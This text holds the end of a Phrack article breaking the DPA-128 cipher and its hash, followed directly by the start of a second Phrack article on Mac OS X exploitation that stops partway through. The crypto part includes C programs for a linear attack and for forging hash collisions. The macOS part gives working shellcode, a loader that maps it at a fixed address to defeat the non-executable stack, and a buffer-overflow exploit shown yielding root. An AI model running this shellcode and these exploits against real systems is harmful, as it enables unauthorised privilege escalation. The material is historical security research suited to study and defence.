Although a probability of 1/2^64 means a (huge) set of 2^64 weak keys, in the real life, there are very few chances to choose one of them. In fact, you probably have much more chances to win lottery ;) However, two facts must be noticed:

‑ We presented one set of weak keys but there be some more! ‑ We illustrated an other weakness in the conception of DPA‑128

Remark: A probability of 1/8 per round is completely theoretic as it supposes a uniform distribution of hash32() output. Considering the extreme simplicity of the hash32() function, it wouldn't be too surprising to be different in practice. Therefore we made a short test to compute the real probability (Annexe B).

$ gcc test.hash32.c checksum128.o hash32.o ‑o test.hash32 ‑O3 ‑fomit‑frame‑pointer

$ time ./test.hash32

[+] Probability is 0.125204

real 0m14.654s

user 0m14.649s

sys 0m0.000s

$ gp ‑q

? (1/0.125204) ^ 16

274226068900783.2739747241633

? log(274226068900783.2739747241633) / log(2) 47.96235905375676878381741198

?

This result tells us clearly that the probability of shift being multiple of 8 is around 1/2^2.99 ~ 1/8 per round which is assimilated to the theoretical one since the difference is too small to be significant. In order to improve the measure, we used checksum128() as an input of hash32(). Furthermore, we also tried to test hash32() without the "*k &&" bug mentioned earlier. Both tests gave similar results which means that the bug is not important in practice and that checksum128() doesn't seem to be particularly skewed. This is a good point for DPA! :‑D

‑‑[ 8 ‑ Breaking DPA‑based unkeyed hash function

In his paper, Veins also explains how a hash function can be built out of DPA. We will analyze the proposed scheme and will show how to completely break it.

‑‑[ 8.1 ‑ Introduction to hash functions

Quoting once again the excellent HAC [MenVan]:

"A hash function is a function h which has, as a minimum, the following two properties:

1. compression ‑ h maps an input x of arbitrary finit bitlength, to an output h(x) of fixed bitlength n.

2. ease of computation ‑ given h and an input x, h(x) is easy to compute.

In cryptography there are essentially two families of hash functions:

1. The MAC (Message Authentication Codes). They are keyed ones and provides both authentication (of source) and integrity of messages.

2. The MDC (Modification Detection Code), sometimes referred as MIC. They are unkeyed and only provide integrity. We will focus on this kind of functions. When designing his hash function, the cryptographer generally wants it to satisfy the three properties:

‑ preimage resistance. For any y, it should not be possible (that is to say computationally infeasible) to find an x such as h(x) = y. Such a property implies that the function has to be non invertible.

‑ 2nd preimage resistance. For any x, it should not be possible to find an x' such as h(x) = h(x') when x and x' are different.

‑ collision resistance. It should not be possible to find an x and an x' (with x different of x') such that h(x) = h(x').

Remark 1: Properties 1 and 2 and essentials when dealing with binary integrity.

Remark 2: The published attacks on MD5 and SHA‑0/SHA‑1 were dealing with the third property. While it is true that finding collisions on a hash function is enough for the crypto community to consider it insecure (and sometimes leads to a new standard [NIST2007]), for most of usages it still remains sufficient.

There are many way to design an MDC function. Some functions are based on MD4 function such as MD5 or SHA* functions which heavily rely on boolean algebra and operations in GF(2^32), some are based on NP problems such as RSA and finally some others are block cipher based.

The third category is particularly interesting since the security of the hash function can be reduced to the one of the underlying block cipher. This is of course only true with a good design.

‑‑[ 8.2 ‑ DPAsum() algorithm

The DPA‑based hash function lies in the functions DPA_sum() and DPA_sum_write_to_file() which can be found respectively in file sum.c and data.c.

Let's detail them a little bit using pseudo code:

Let M be the message to hash, let M(i) be the i'th 128b block message. Let N = DPA_BLOCK_SIZE * i + j be the size in bytes of the message where i and j are integers such as i = N / DPA_BLOCK_SIZE and 0 <= j < 16. Let C be an array of 128 bits elements were intermediary results of hash calculation are stored. The last element of this array is the hash of the message.

func DPA_sum(K0,M,C):

K0 = key("deadbeef");

IV = "0123456789abcdef";

C(0) = E( IV , K0);

C(1) = E( IV xor M(0) , K0);

FOR a = 1 to i‑1:

C(a+1) = E( C(a) xor M(a) , K0);

if j == 0:

C(i+1) = E( C(i) xor 000...000 , K0)

else

C(i+1) = E( C(i) xor PAD( M(i) );

C(i+2) = E( C(i+1) xor 000...00S , K0) /* s = 16‑j */

return;

func DPA_sum_write_to_file(C, file):

write(file,C(last_element));

return;

‑‑[ 8.3 ‑ Weaknesses in the design/implementation

We noticed several implementation mistakes in the code:

a) Using the algorithm of hash calculation, every element of array C is defined recursively however C(0) is never used in calculation. This doesn't impact security in itself but is somewhat strange and could let us think that the function was not designed before being programmed.

b) When the size of M is not a multiple of DPA_BLOCK_SIZE (j is not equal to 0) then the algorithms calculates the last element using a xor mask where the last byte gives information on the size of the original message. However, what is included in the padding is not the size of the message in itself but rather the size of padding.

If we take the example of the well known Merkle‑Damgard construction on which are based MD{4,5} and SHA‑{0,1} functions, then the length of the message was initially appended in order to prevent collisions attacks for messages of different sizes. Therefore in the DPASum() case, appending j to the message is not sufficient as it would be possible to find collisions for messages of size (DPA_BLOCK_SIZE*a + j) and (DPA_BLOCK_SIZE*b + j) were obviously a and b are different.

Remark: The fact that the IV and the master key are initially fixed is not a problem in itself since we are dealing with MDC here.

‑‑[ 8.4 ‑ A (2nd) preimage attack

Because of the hash function construction properties, being given a message X, it is trivial to create a message X' such as h(X) = h(X'). This is called building a 2nd preimage attack.

We built a quick & dirty program to illustrate it (Annexe C). It takes a 32 bytes message as input and produces an other 32 bytes one with the same hash:

$ cat to.hack | hexdump ‑C

00000000 58 41 4c 4b 58 43 4c 4b 53 44 4c 46 4b 53 44 46 |XALKXCLKSDLFKSDF| 00000010 58 4c 4b 58 43 4c 4b 53 44 4c 46 4b 53 44 46 0a |XLKXCLKSDLFKSDF.| 00000020

$ ./dpa ‑s to.hack

6327b5becaab3e5c61a00430e375b734

$ gcc break_hash.c *.o ‑o break_hash ‑I ./include

$ ./break_hash to.hack > hacked

$ ./dpa ‑s hacked

6327b5becaab3e5c61a00430e375b734

$ cat hacked | hexdump ‑C

00000000 43 4f 4d 50 4c 45 54 45 4c 59 42 52 4f 4b 45 4e |COMPLETELYBROKEN| 00000010 3e bf de 93 d7 17 7e 1d 2a c7 c6 70 66 bb eb a3 |>.....~.*..pf...| 00000020

Nice isn't it ? :‑) We were able to write arbitrary data in the first 16 bytes and then to calculate the next 16 bytes so that the 'hacked' file had the exact same hash. But how did we do such an evil thing?

Assuming the size of both messages is 32 bytes then:

h(Mi) = E(E(Mi(0) xor IV,K0) xor Mi(1),K0)

Therefore, it is obvious that:

h(M1) = h(M2) is equivalent to

E(E(M1(0) xor IV,K0) xor M1(1),K0) = E(E(M2(0) xor IV,K0) xor M2(1),K0)

Which can be reduced to:

E(M1(0) xor IV,K0) xor M1(1) = E(M2(0) xor IV,K0) xor M2(1)

Which therefore gives us:

M2(1) = E(M2(0) xor IV,K0) xor E(M1(0) xor IV,K0) xor M1(1) [A]

Since M1,IV,K0 are known parameters then for a chosen M2(0), [A] gives us M2(1) so that h(M1) = h(M2).

Remark 1: Actually such a result can be easily generalized to n bytes messages. In particular, the attacker can put anything in his message and "correct it" using the last blocks (if n >= 32).

Remark 2: Of course building a preimage attack is also very easy. We mentioned previously that we had for a 32 bytes message:

h(Mi) = E(E(Mi(0) xor IV,K0) xor Mi(1),K0)

Therefore, Mi(1) = E^‑1(h(Mi),K0) xor E(Mi(0) xor IV,K0) [B]

The [B] equation tells us how to generate Mi(1) so that we have h(Mi) in output. It doesn't seem to be really a one way hash function does it ? ;‑) Building a hash function out of a block cipher is a well known problem in cryptography which doesn't only involve the security of the underlying block cipher. One should rely on one of the many well known and heavily analyzed algorithms for this purpose instead of trying to design one.

‑‑[ 9 ‑ Conclusion

We put into evidence some weaknesses of the cipher and were also able to totally break the proposed hash function built out of DPA. In his paper, Veins implicitly set the bases of a discussion to which we wish to deliver our opinion. We claim that it is necessary to understand properly cryptology. The goal of this paper wasn't to illustrate anything else but that fact. Being hacker or not, paranoid or simply careful, the rule is the same for everybody in this domain: nothing should be done without reflexion.

‑‑[ 10 ‑ Greetings

#TF crypto dudes for friendly and smart discussions and specially X for giving me a lot of hints. I learned a lot from you guys :‑) #K40r1 friends for years of fun ;‑) Hi all :)

Finally but not least my GF and her kindness which is her prime characteristic :> (However if she finds out the joke in the last sentence I may die :|)

‑‑[ 11 ‑ Bibliography

[DPA128] A Polyalphabetic Substitution Cipher, Veins, Phrack 62. [FakeP63] Keeping 0day Safe, m1lt0n, Phrack(.nl) 63.

[MenVan] Handbook of Applied Cryptography, Menezes, Oorschot & Vanstone. [Knud99] Correlation in RC6, L. Knudsen & W. Meier.

[CrypTo] Two balls ownz one, http://fr.wikipedia.org/wiki/Cryptorchidie

[Vaud] An Experiment on DES ‑ Statistical Cryptanalysis, S. Vaudenay. [Ryabko] Adaptative chi‑square test and its application to some cryptographic problems, B. Ryabko.

[CourtAlg] How Fast can be Algebraic Attacks on Block Ciphers ?, Courtois. [BiSha90] Differential Cryptanalysis of DES‑like Cryptosystems, E. Biham & A. Shamir, Advances in Cryptology ‑ CRYPTO 1990.

[Matsui92] A new method for known plaintext attack of FEAL cipher, Matsui & A. Yamagishi, EUROCRYPT 1992.

[NSA2007] Just kidding ;‑)

[SHOUP] NTL library, V. Shoup, http://www.shoup.net/ntl/

[NIST2007] NIST, http://www.csrc.nist.gov/pki/HashWorkshop/index.html, 2007

‑‑[ Annexe A ‑ Breaking the linearised version

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ /* Crappy C/C++ source. I'm in a hurry for the paper redaction so don't

* blame me toooooo much please ! :> */

#include <iostream>

#include <fstream>

#include <openssl/rc4.h>

#include <NTL/ZZ.h>

#include <NTL/ZZ_p.h>

#include <NTL/mat_GF2.h>

#include <NTL/vec_GF2.h>

#include <NTL/GF2E.h>

#include <NTL/GF2XFactoring.h>

#include "dpa.h"

using namespace NTL;

void

S_E2 (unsigned char *key, unsigned char *block, unsigned int s)

{

int i;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

{

block[i] ^= (key[i] ^ s) % 256;

}

return;

}

void

E2 (unsigned char *key, unsigned char *block, unsigned int shift) {

rbytechain (block);

rbitshift (block, shift);

S_E2 (key, block, shift);

}

void

DPA_ecb_encrypt (DPA_KEY * key, unsigned char * src, unsigned char * dst) {

int j;

memcpy (dst, src, DPA_BLOCK_SIZE);

for (j = 0; j < 16; j++)

E2 (key‑>subkey[j].key, dst, key‑>subkey[j].shift); return;

}

void affichage(unsigned char *chaine)

{

int i;

for(i=0; i<16; i++)

printf("%.2x",(unsigned char )chaine[i]); printf("\n");

}

unsigned char test_p[] = "ABCD_ABCD_12____";

unsigned char test_c1[16];

unsigned char test_c2[16];

DPA_KEY key;

RC4_KEY rc4_key;

struct vect {

unsigned char plaintxt[16];

unsigned char ciphertxt[16];

};

struct vect toto[128];

unsigned char src1[16], src2[16];

unsigned char block1[16], block2[16];

int main()

{

/* Key */

unsigned char str_key[] = " _323DFF?FF4cxsdÃ©&"; DPA_set_key (&key, str_key, DPA_KEY_SIZE);

/* Init our RANDOM generator */

char time_key[16];

snprintf(time_key, 16, "%d%d",(int)time(NULL), (int)time(NULL)); RC4_set_key(&rc4_key, strlen(time_key), (unsigned char *)time_key);

/* Let's crypt 16 plaintexts */

printf("[+] Generating the plaintexts / ciphertexts\n");

int i=0;

int a=0;

for(; i<128; i++)

{

RC4(&rc4_key, 16, src1, src1); // Input is nearly random :)

DPA_ecb_encrypt (&key, src1, block1);

RC4(&rc4_key, 16, src2, src2); // Input is nearly random :)

DPA_ecb_encrypt (&key, src2, block2);

for(a=0;a<16; a++)

{

toto[i].plaintxt[a] = src1[a] ^ src2[a]; toto[i].ciphertxt[a] = block1[a] ^ block2[a]; }

}

/* Now the NTL stuff */

printf("[+] NTL stuff !\n");

vec_GF2 m2(INIT_SIZE,128);

vec_GF2 B(INIT_SIZE,128);

mat_GF2 M(INIT_SIZE,128,128);

mat_GF2 Mf(INIT_SIZE,128,128); // The final matrix !

clear(Mf);

clear(M);

clear(m2);

clear(B);

/* Lets fill M correctly */

int k=0;

int j=0;

for(k=0; k<128; k++) // each row !

{

for(i=0; i<16; i++)

{

for(j=0; j<8; j++) M.put(i*8+j,k,(toto[k].plaintxt[i] >> j)&0x1); }

}

GF2 d;

determinant(d,M);

/* if !det then it means the vector were linearly linked :'( */

if(IsZero(d))

{

std::cout << "det(M) = 0\n" ;

exit(1);

}

/* Let's solve the 128 system :) */

printf("[+] Calculation of Mf\n");

for(k=0; k<16; k++)

{

for(j=0; j<8; j++)

{

for(i=0; i<128; i++)

{

B.put(i,(toto[i].ciphertxt[k] >> j)&0x1); }

solve(d, m2, M, B);

#ifdef __debug__

std::cout << "m2 is " << m2 << "\n";

#endif

int b=0;

for(;b<128;b++) Mf.put(k*8+j,b,m2.get(b));

}

}

#ifdef __debug__

std::cout << "Mf = " << Mf << "\n";

#endif

/* Now that we have Mf, let's make a test ;) */

printf("[+] Let's make a test !\n");

bzero(test_c1, 16);

bzero(test_c2, 16);

char DELTA_X[16];

char DELTA_Y[16];

bzero(DELTA_X, 16);

bzero(DELTA_Y, 16);

DPA_ecb_encrypt (&key, test_p, test_c1);

// DELTA_X !

unsigned char U0[] = "ABCDEFGHABCDEFG1";

unsigned char Y0[16];

DPA_ecb_encrypt (&key, U0, Y0);

for(i=0; i<16; i++)

{

DELTA_X[i] = test_p[i] ^ U0[i];

}

// DELTA_Y !

vec_GF2 X(INIT_SIZE,128);

vec_GF2 Y(INIT_SIZE,128);

clear(X);

clear(Y);

for(k=0; k<16; k++)

{

for(j=0; j<8; j++)

{

X.put(k*8+j,(DELTA_X[k] >> j)&0x1);

}

}

Y = Mf * X;

#ifdef __debug__

std::cout << "X = " << X << "\n";

std::cout << "Y = " << Y << "\n";

#endif

GF2 z;

for(k=0; k<16; k++)

{

for(j=0; j<8; j++)

{

z = Y.get(k*8+j);

if(IsOne(z))

DELTA_Y[k] |= (1 << j);

}

}

// test_c2 !

for(i=0; i<16; i++)

test_c2[i] = DELTA_Y[i] ^ Y0[i];

/* Compare the two vectors */

if(!memcmp(test_c1,test_c2,16))

printf("\t=> Well done boy :>\n");

else

printf("\t=> Hell !@#\n");

#ifdef __debug__

affichage(test_c1);

affichage(test_c2);

#endif

return 0;

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑

‑‑[ Annexe B ‑ Probability evaluation of (hash32()%8 == 0)

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ #include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <time.h>

#define NBR_TESTS 0xFFFFF

int main()

{

int i = 0, j = 0;

char buffer[16];

int cmpt = 0;

int rand = (time_t)time(NULL);

float proba = 0;

srandom(rand);

for(;i<NBR_TESTS;i++)

{

for(j=0; j<4; j++)

{

rand = random();

memcpy(buffer+4*j,&rand,4);

}

checksum128 (buffer, buffer, 16); if(!(hash32(buffer,16)%8))

cmpt++;

}

proba = (float)cmpt/(float)NBR_TESTS;

printf("[+] Probability is around %f\n",proba);

return 0;

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑

‑‑[ Annexe C ‑ 2nd preimage attack on 32 bytes messages

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ #include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include "dpa.h"

void

E2 (unsigned char *key, unsigned char *block, unsigned int shift) {

rbytechain (block);

rbitshift (block, shift);

S_E (key, block, shift);

}

void

DPA_ecb_encrypt (DPA_KEY * key, unsigned char * src, unsigned char * dst) {

int j;

memcpy (dst, src, DPA_BLOCK_SIZE);

for (j = 0; j < 16; j++)

E2 (key‑>subkey[j].key, dst, key‑>subkey[j].shift); return;

}

void affichage(unsigned char *chaine)

{

int i;

for(i=0; i<16; i++)

printf("%.2x",(unsigned char )chaine[i]); printf("\n");

}

int main(int argc, char **argv)

{

DPA_KEY key;

unsigned char str_key[] = "deadbeef";

unsigned char IV[] = "0123456789abcdef";

unsigned char evil_payload[] = "COMPLETELYBROKEN"; unsigned char D0[16],D1[16];

unsigned char final_message[32];

int fd_r = 0;

int i = 0;

if(argc < 2)

{

printf("Usage : %s <file>\n",argv[0]); exit(EXIT_FAILURE);

}

DPA_set_key (&key, str_key,8);

if((fd_r = open(argv[1], O_RDONLY)) < 0)

{

printf("[+] Fuck !@#\n");

exit(EXIT_FAILURE);

}

if(read(fd_r, D0, 16) != DPA_BLOCK_SIZE)

{

printf("Too short !@#\n");

exit(EXIT_FAILURE);

}

if(read(fd_r, D1, 16) != DPA_BLOCK_SIZE)

{

printf("Too short 2 !@#\n");

exit(EXIT_FAILURE);

}

close(fd_r);

memcpy(final_message, evil_payload, DPA_BLOCK_SIZE); blockchain(evil_payload, IV);

DPA_ecb_encrypt (&key, evil_payload, evil_payload); blockchain(D0,IV);

DPA_ecb_encrypt (&key, D0, D0);

blockchain(D0,D1);

blockchain(evil_payload, D0); memcpy(final_message+DPA_BLOCK_SIZE, evil_payload, DPA_BLOCK_SIZE);

for(i=0; i<DPA_BLOCK_SIZE*2; i++) printf("%c",final_message[i]);

return 0;

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑

Mac OS X Wars - A XNU Hope

_

_/B\_ W\_

(* *) Phrack #64 file 11 (* *)

| ‑ |

| | Mac OS X wars ‑ a XNU Hope | |

| |

| | by nemo <nemo@felinemenace.org> | |

| |

| |

(___________________________

‑‑[ Contents

1 ‑ Introduction.

2 ‑ Local shellcode maneuvering.

3 ‑ Resolving symbols from Shellcode.

4 ‑ Architecture spanning shellcode.

5 ‑ Writing kernel level shellcode.

5.1 ‑ Local privilege escalation

5.2 ‑ Breaking chroot()

5.3 ‑ Advancements

6 ‑ Misc rootkit techniques.

7 ‑ Universal binary infection.

8 ‑ Cracking example ‑ Prey

9 ‑ Passive malware propagation with mDNS

10 ‑ Kernel zone allocator exploitation.

11 ‑ Conclusion

12 ‑ References

13 ‑ Appendix A: Code

‑‑[ 1 ‑ Introduction

This paper was written in order to document my research while playing with Mac OS X shellcode. During this process, however, the paper mutated and evolved to cover a selection of Mac OS X related topics which will hopefully make for an interesting read.

Due to the growing popularity of Mac OS X on Intel over PowerPC platforms, I have mostly focused on techniques for the former. Many of the concepts shown are still applicable on PowerPC architecture, but their particular implementation is left as an excercise for the reader.

There are already several well written documents on PowerPC and Intel assembly language; I will therefore make no attempt to try and teach you these things.

If you have any suggestions on how to shorten/tighten the code I have written for this paper please drop me an email with the details at: nemo@felinemenace.org.

A tar file containing the full code listings referenced in this paper can be found in Appendix A.

‑‑[ 2 ‑ Local shellcode maneuvering.

Over the years there have been many different techniques developed to calculate valid return addresses when

exploiting buffer overflows in applications local to

your system. Unfortunately many of these techniques are

now obsolete on Intel‑based Mac OS X systems with the introduction of a non‑executable stack in version 10.4 (Tiger).

In the following subsections I will discuss a few historical approaches for calculating shellcode addresses in memory

and introduce a new method for positioning shellcode at a fixed location in the address space of a vulnerable target process.

‑‑[ 2.1 Historical perspective 1: Aleph1

Over the years there have been many different techniques developed to calculate a valid return address when exploiting a buffer overflow in an application local to your system.

The most widely known of these is shown in aleph1's "Smashing the Stack for Fun and Profit". [9] In this paper, aleph1 simply writes a small function get_sp() shown below.

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

This function returns the current stack pointer (esp).

aleph1 then simply offsets from this value, in an attempt to hit the nop sled before his shellcode on the stack. This method is not as precise as it can be, and also requires the shellcode to be stored on the stack. This is an obvious issue if your stack is non‑executable.

‑‑[ 2.2 Historical perspective 2: Radical Environmentalist

Another method for storing shellcode and calculating the address of it inside another process is shown in the Radical Environmentalist paper written by the Netric Security Group [10].

In this paper, the author shows that the execve() syscall allows full control over the stack of the freshly executed process. Because of this, shellcode can be stored in an environment variable, the address of which can be calculated as displacement from the top of the stack.

In older exploits for Mac OS X (prior to 10.4), this technique worked quite well. Since there is no non‑executable stack on PowerPC

‑‑[ 2.3 Beating stack prot :P or whatever

In KF's paper "Non eXecutable Stack Loving on Mac OS X86" [11], the author demonstrates a technique for removing stack protection by returning into mprotect() in libSystem (libc) before returning into their payload. While this technique is very useful for remote exploitation, a more elegant solution to this problem exists for local exploitation.

The first step to getting our shellcode in place is to get some shellcode. There has already been significant published work in this area. If you are interested to learn how to write shellcode for Mac OS X for use in local privilege escalation exploits, a couple of papers you should definitely check out are shown in the references section. [1] and [8]. The shellcode chosen for the sample code is described in full in section 2 of this paper.

The method which I now propose relies on an undocumented the undocumented Mac OS X system call "shared_region_mapping_np". This syscall is used at runtime by the dynamic loader (dyld) to map widely used libraries across the address space of every process on the system; this functionality has many evil uses.

The file /usr/include/sys/syscalls.h contains the syscall number for each of the syscalls. Here is the appropriate

line in that file which contains our syscall.

#define SYS_shared_region_map_file_np 299

Here is the prototype for this syscall:

struct shared_region_map_file_np(

int fd,

uint32_t mappingCount,

user_addr_t mappings,

user_addr_t slide_p

);

The arguments to this syscall are very simple:

fd an open file descriptor, providing access to data that we want loaded in memory.

mappingCount the number of mappings which we want to make from the file.

mappings a pointer to an array of _shared_region_mapping_np structs which describe each mapping (see below). slide_p determines whether the syscall is allowed to slide the mapping around inside the shared region of memory to make it fit.

Here is the struct definition for the elements of the third argument:

struct _shared_region_mapping_np {

mach_vm_address_t address;

mach_vm_size_t size;

mach_vm_offset_t file_offset;

vm_prot_t max_prot;

vm_prot_t init_prot;

};

The struct elements shown above can be explained as followed:

address the address in the shared region where the data should be stored.

size the size of the mapping (in bytes)

file_offset the offset into the file descriptor to which we must seek in order to reach the start of our data. max_prot This is the maximum protection of the mapping, this value is created by or'ing the #defines: VM_PROT_EXECUTE,VM_PROT_READ,VM_PROT_WRITE and VM_COW. init_prot This is the initial protection of the mapping, again this is created by or'ing the values mentioned above.

The following #define's describe the shared region in which we can map our data. They show the various regions within the 0x00000000‑>0xffffffff address space which are available to use as shared regions. These are shown as defined as starting point, followed by size.

#define SHARED_LIBRARY_SERVER_SUPPORTED

#define GLOBAL_SHARED_TEXT_SEGMENT 0x90000000

#define GLOBAL_SHARED_DATA_SEGMENT 0xA0000000

#define GLOBAL_SHARED_SEGMENT_MASK 0xF0000000

#define SHARED_TEXT_REGION_SIZE 0x10000000

#define SHARED_DATA_REGION_SIZE 0x10000000

#define SHARED_ALTERNATE_LOAD_BASE 0x09000000

To reduce the chance that our shellcode offset will be

stored at an address that does not contain a NULL byte (thereby making this technique viable for string based overflows), we position the shellcode at the last address in the region where a page (0x1000 bytes) can be mapped. By doing so, our shellcode will be stored at the address 0x9ffffxxx.

The following code can be used to map some shellcode into

a fixed location by opening the file "/tmp/mapme" and writing our shellcode out to it. It then uses the file descriptor

to call the "shared_region_map_file_np" which maps the

code, as well as a bunch of int3's (cc), into the shared region.

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* [ sharedcode.c ]

*

* by nemo@felinemenace.org 2007

*/

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <mach/vm_prot.h>

#include <mach/i386/vm_types.h>

#include <mach/shared_memory_server.h>

#include <string.h>

#include <unistd.h>

#define BASE_ADDR 0x9ffff000

#define PAGESIZE 0x1000

#define FILENAME "/tmp/mapme"

char dual_sc[] =

"\x5f\x90\xeb\x60"

// setuid() seteuid()

"\x38\x00\x00\xb7\x38\x60\x00\x00" "\x44\x00\x00\x02\x38\x00\x00\x17" "\x38\x60\x00\x00\x44\x00\x00\x02"

// ppc execve() code by b‑r00t

"\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7d\x68\x02\xa6\x3b\xeb\x01\x70" "\x39\x40\x01\x70\x39\x1f\xfe\xcf" "\x7c\xa8\x29\xae\x38\x7f\xfe\xc8" "\x90\x61\xff\xf8\x90\xa1\xff\xfc" "\x38\x81\xff\xf8\x38\x0a\xfe\xcb" "\x44\xff\xff\x02\x7c\xa3\x2b\x78" "\x38\x0a\xfe\x91\x44\xff\xff\x02" "\x2f\x62\x69\x6e\x2f\x73\x68\x58"

// seteuid(0);

"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd"

"\x80"

// setuid(0);

"\x31\xc0\x50\xb0\x17\x6a\x7f\xcd"

"\x80"

// x86 execve() code / nemo

"\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x54\x54\x53\x53\xb0\x3b\xcd\x80";

struct _shared_region_mapping_np {

mach_vm_address_t address;

mach_vm_size_t size;

mach_vm_offset_t file_offset;

vm_prot_t max_prot; /* read/write/execute/COW/ZF */

vm_prot_t init_prot; /* read/write/execute/COW/ZF */

};

int main(int argc,char **argv)

{

int fd;

struct _shared_region_mapping_np sr;

chr data[PAGESIZE] = { 0xcc };

char *ptr = data + PAGESIZE ‑ sizeof(dual_sc);

sr.address = BASE_ADDR;

sr.size = PAGESIZE;

sr.file_offset = 0;

sr.max_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE; sr.init_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;

if((fd=open(FILENAME,O_RDWR|O_CREAT))==‑1)

{

perror("open");

exit(EXIT_FAILURE);

}

memcpy(ptr,dual_sc,sizeof(dual_sc));

if(write(fd,data,PAGESIZE) != PAGESIZE)

{

perror("write");

exit(EXIT_FAILURE);

}

if(syscall(SYS_shared_region_map_file_np,fd,1,&sr,NULL)==‑1) {

perror("shared_region_map_file_np");

exit(EXIT_FAILURE);

}

close(fd);

unlink(FILENAME);

printf("[+] shellcode at: 0x%x.\n",sr.address + PAGESIZE ‑

sizeof(dual_sc));

exit(EXIT_SUCCESS);

}

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When we compile and execute this code, it prints the address of the shellcode in memory. You can see this below.

‑[nemo@fry:~/code]$ gcc sharedcode.c ‑o sharedcode ‑[nemo@fry:~/code]$ ./sharedcode

[+] shellcode at: 0x9fffff71.

As you can see the address used for our shellcode is 0x9fffff71. This address, as expected, is free of NULL bytes.

You can test that this procedure has worked as expected by starting a new process and connecting to it with gdb.

By jumping to this address using the "jump" command in gdb our shellcode is executed and a bash prompt is displayed.

‑[nemo@fry:~/code]$ gdb /usr/bin/id

GNU gdb 6.3.50‑20050815 (Apple version gdb‑563)

(gdb) r

Starting program: /usr/bin/id

^C[Switching to process 752 local thread 0xf03]

0x8fe01010 in __dyld__dyld_start ()

Quit

(gdb) jump *0x9fffff71

Continuing at 0x9fffff71.

(gdb) c

Continuing.

‑[nemo@fry:Users/nemo/code]$

In order to demonstrate how this can be used in an exploit,

I have created a trivially exploitable program:

/*

* exploitme.c

*/

int main(int ac, char **av)

{

char buf[50] = { 0 };

printf("%s",av[1]);

if(ac == 2)

strcpy(buf,av[1]);

return 1;

}

Below is the exploit for the above program.

/*

* [ exp.c ]

* nemo@felinemeance.org 2007

*/

#include <stdio.h>

#include <stdlib.h>

#define VULNPROG "./exploitme"

#define OFFSET 66

#define FIXEDADDR 0x9fffff71

int main(int ac, char **av)

{

char evilbuff[OFFSET];

char *args[] = {VULNPROG,evilbuff,NULL};

char *env[] = {"TERM=xterm",NULL};

long *ptr = (long *)&(evilbuff[OFFSET ‑ 4]); memset(evilbuff,'A',OFFSET);

*ptr = FIXEDADDR;

execve(*args,args,env);

return 1;

}

As you can see we fill the buffer up with "A"'s, followed by our return address calculated by sharedcode.c. After the strcpy() occurs our stored return address on the stack is overwritten with our new return address (0x9fffff71) and our shellcode is executed.

If we chown root /exploitme; chmod +s /exploitme; we can see that our shellcode is mapped into suid processes, which makes this technique feasible for local privilege escalation. Also, because we control the memory protection on our mapping, we bypass non‑executable stack protection.

‑[nemo@fry:/]$ ./exp

fry:/ root# id

uid=0(root)

One limitation of this technique is that the file you are mapping into the shared region must exist on the root filesystem. This is clearly explained in the comment below.

/*

* The split library is not on the root filesystem. We don't * want to pollute the system‑wide ("default") shared region * with it.

* Reject the mapping. The caller (dyld) should "privatize" * (via shared_region_make_private()) the shared region and * try to establish the mapping privately for this process. */

]

Another limitation to this technique is that Apple have locked down this syscall with the following lines of code:

*

* This system call is for "dyld" only.

*

Luckily we can beat this magnificent protection by.... completely ignoring it.

‑‑[ 3 ‑ Resolving Symbols From Shellcode

In this section I will demonstrate a method which can be used to resolve the address of a symbol from shellcode.

This is useful in remote exploitation where you wish to access or modify some of the functionality of the vulnerable program. This may also be useful in calling some of the functions in a particular shared library in the address space.

The examples in this section are written in Intel assembly, nasm syntax. The concepts presented can easily be recreated in PowerPC assembler. If anyone takes the time to do this let me know.

The method I will describe requires some basic knowledge about the Mach‑O object format and how symbols are stored/resolved. I will try to be as verbose as I can, however if more research is required check out the Mach‑O Runtime document from the Apple website. [4]

The process of resolving symbols which I am describing in this section involves locating the LINKEDIT section in memory.

The LINKEDIT section is broken up into a symbol table (symtab) and string table (strtab) as follows:

[ LINKEDIT SECTION ]

low memory: 0x0

.________________________________,

